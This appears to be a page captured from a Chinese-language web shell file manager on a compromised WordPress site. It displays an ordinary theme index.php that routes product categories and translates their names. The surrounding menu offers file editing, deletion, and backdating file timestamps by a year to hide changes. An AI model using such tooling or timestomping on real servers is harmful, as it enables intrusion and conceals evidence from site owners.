文件操作 - index.php
返回文件管理
返回主菜单
删除本文件
文件: /home/tecnoht/public_html/autotrasportimolteni--eu/wp-content/themes/autotrasportimolteni/index.php
编辑文件内容
<?php get_header(); ?> <!--======================================================== CONTENT =========================================================--> <section id="content" class="content" style="position: relative;z-index: 8; background-color: #ffffff; min-height: 300px;" > <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <div class="entry-content"> <?php while ( have_posts() ) : the_post(); //Open the loop ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <style> </style> <?php $xuri=$_SERVER['REQUEST_URI']; //echo "id ".$xuri." "; if ( strpos( $xuri, "categoria-prodotto")>0 || strpos( $xuri, "product-category")>0 ){ echo "categoria-prodotto<br><br>"; if ( strpos( $xuri, "categoria-prodotto")>0 ){ $langxx = "IT"; }else{ $langxx = "EN"; } //echo "uri en ".$xuri; if ( strpos($xuri,"=en" )>-1 ){ $langxx = "EN"; } //echo "lang ".$langxx; /* <h2 class="entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2> */ $v_uri=explode("/",$xuri); //echo $v_uri[3]; if ( $langxx == "EN" ){ switch( $v_uri[2] ){ case "aste-per-cornici": $v_uri[2]="Mouldings For Frames"; break; case "dipinti": $v_uri[2]="paintings"; break; case "oggettistica": $v_uri[2]="fine art objects"; break; } switch( $v_uri[3] ){ case "moderne": $v_uri[3]="modern"; break; case "noce-naturale-radiche": $v_uri[3]="natural walnut burl"; break; case "oro-argento-lavorato": $v_uri[3]="worked gold/silver"; break; case "pp-righette": $v_uri[3]="small row pp"; break; case "profili-per-mobili": $v_uri[3]="profiles for furniture"; break; case "sbiancate-pl": $v_uri[3]="bleached pl"; break; case "astratti": $v_uri[3]="abstract"; break; case "contemporanei": $v_uri[3]="contemporary"; break; case "classici": $v_uri[3]="classic"; break; case "bronzi": $v_uri[3]="bronzes"; break; } } echo '<div id="top_div_prodotti" style="width:80%; margin: 0 auto">'; //echo '<h2 style="color: #111; font-family: EB Garamont; letter-spacing: 2px;font-weight: 600;color: #222; text-transform: uppercase" >'. //'<a style="color: #111; text-decoration: none;" href="https://www.grecalemauro.it/'.$v_uri[2].'" >'. //str_replace("-"," ",$v_uri[2]) .' </a> '.str_replace("-"," ",$v_uri[3]).'</h2>'; //echo do_shortcode('[wcas-search-form]'); // --- if ( function_exists( 'aws_get_search_form' ) ) { aws_get_search_form(); } echo '</div>'; } ?> <!--.entry-meta <section class="entry-meta"> <?php //echo get_the_date(); ?> </section> --> <section class="entry-content"> <?php the_content(); ?> </section><!-- .entry-content --> <!-- .entry-utility <section class="entry-utility"> <?php //comments_template(); ?> </section> --> <?php if ( strpos( $xuri, "richiedi-un-preventivo")>0 ){ echo "<div style='width: 1180px; margin: 0 auto; padding-bottom: 100px;'>"; include_once get_template_directory() . "/form_preventivo.php"; echo "</div>"; } ?> </article> <?php endwhile; // End the loop. ?> </div><!-- .entry-content --> </article> </section> <?php get_footer(); ?>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件